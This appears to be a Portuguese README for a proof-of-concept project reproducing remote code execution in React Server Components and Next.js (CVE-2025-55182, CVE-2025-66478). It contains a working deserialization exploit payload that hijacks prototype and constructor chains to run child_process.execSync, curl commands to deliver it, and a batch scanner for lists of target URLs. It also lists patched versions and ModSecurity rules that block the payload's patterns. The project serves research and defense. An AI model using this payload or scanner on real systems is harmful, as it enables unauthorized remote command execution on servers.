
MVP mínimo para reproduzir as vulnerabilidades React2Shell (CVE-2025-55182) e Next.js RSC RCE (CVE-2025-66478). Inclui payload de exploit, script de verificação em lote e regras ModSecurity WAF para mitigação.
Este é um MVP mínimo para reproduzir as vulnerabilidades React2Shell (CVE-2025-55182) e Next.js RSC RCE (CVE-2025-66478).
Este projeto é apenas para fins de pesquisa e educação em segurança. Não o utilize em ambiente de produção ou em sistemas não autorizados.
A CVE-2025-55182 é uma vulnerabilidade crítica nos React Server Components, afetando:
Através de uma requisição multipart/form-data especialmente criada, um atacante pode explorar uma vulnerabilidade de desserialização no Flight Protocol, resultando em execução remota de código (RCE).
$@N para obter um objeto Chunk interno$1:__proto__:then_formData.get para o construtor Functionnpm install
# ou
yarn install
# ou
pnpm install
npm run dev
O servidor será iniciado em http://localhost:3000.
Use o script de teste fornecido:
# Teste em um único alvo
./test-exploit.sh http://localhost:3000
# Ou use curl diretamente
curl -X POST http://localhost:3000/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary @exploit-payload.txt
Se a vulnerabilidade existir, você verá uma saída semelhante a uid= (resultado da execução do comando id).
.
├── app/
│ ├── actions.ts # Server Actions (ponto de gatilho da vulnerabilidade)
│ ├── page.tsx # Página principal
│ ├── layout.tsx # Layout
│ └── globals.css # Estilos globais
├── package.json # Configuração de dependências (usa versões vulneráveis)
├── next.config.js # Configuração do Next.js
├── test-exploit.sh # Script de teste de vulnerabilidade para alvo único
├── scan-targets.sh # Script de varredura em lote
├── exploit-payload.txt # Arquivo de payload de exploração
├── Cve-2025-55182-modsecurity-rules.conf # Regras de proteção ModSecurity
└── README.md # Este arquivo
Testa se uma única URL possui a vulnerabilidade:
chmod +x test-exploit.sh
./test-exploit.sh http://localhost:3000
Característica: Se a resposta contiver uid= ou gid=, a vulnerabilidade está presente.
Varre vários URLs alvo em lote:
# Crie um arquivo de lista de alvos
cat > targets.txt << EOF
http://localhost:3000
https://example.com
https://api.example.com:8080
EOF
# Execute a varredura em lote
chmod +x scan-targets.sh
./scan-targets.sh targets.txt
Os resultados da varredura serão salvos em vulnerable_hosts.csv.
{
"then": "$1:__proto__:then", // Sequestra o método then
"status": "resolved_model", // Controla o caminho de execução
"reason": -1,
"value": "{\"then\":\"$B1337\"}", // Aciona a desserialização de Blob
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor" // Sequestra para Function
}
}
}
npm install [email protected] [email protected] [email protected]
Se não for possível atualizar imediatamente, pode-se implantar regras ModSecurity como mitigação temporária.
# 1. Instalar mod_security
sudo apt-get install libapache2-mod-security2
# 2. Copiar o arquivo de regras
sudo cp modsecurity-rules.conf /etc/modsecurity/
# 3. Incluir as regras na configuração do Apache
sudo vim /etc/apache2/mods-enabled/security2.conf
# Adicionar: Include /etc/modsecurity/modsecurity-rules.conf
# 4. Reiniciar o Apache
sudo systemctl restart apache2
# 1. Instalar ModSecurity para Nginx
sudo apt-get install libnginx-mod-security
# 2. Copiar o arquivo de regras
sudo cp modsecurity-rules.conf /etc/nginx/modsec/
# 3. Ativar na configuração do Nginx
sudo vim /etc/nginx/nginx.conf
# No bloco http ou server adicione:
# modsecurity on;
# modsecurity_rules_file /etc/nginx/modsec/modsecurity-rules.conf;
# 4. Reiniciar o Nginx
sudo systemctl restart nginx
As regras ModSecurity bloqueiam os seguintes padrões:
$@N, $BN)__proto__, constructor:constructor)process.mainModule.require, require('child_process'))execSync, exec)_response, _chunks, _formData, _prefix)Next-Action, RSC-Action-ID)⚠️ Nota: As regras WAF são apenas medidas temporárias de mitigação, não fornecem proteção completa. A atualização para versões corrigidas é necessária.
Se sua aplicação pode estar vulnerável:
test-exploit.sh para testar sua aplicaçãoNext-ActionSe quiser testar diretamente com curl (sem usar o script):
curl -X POST http://localhost:3000/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
-H "X-Nextjs-Request-Id: b5dce965" \
--data-binary @exploit-payload.txt
Se a resposta conter uid= ou gid=, a vulnerabilidade está presente.
Este projeto é apenas para fins educacionais. Ao usar este código, respeite as leis e regulamentos aplicáveis.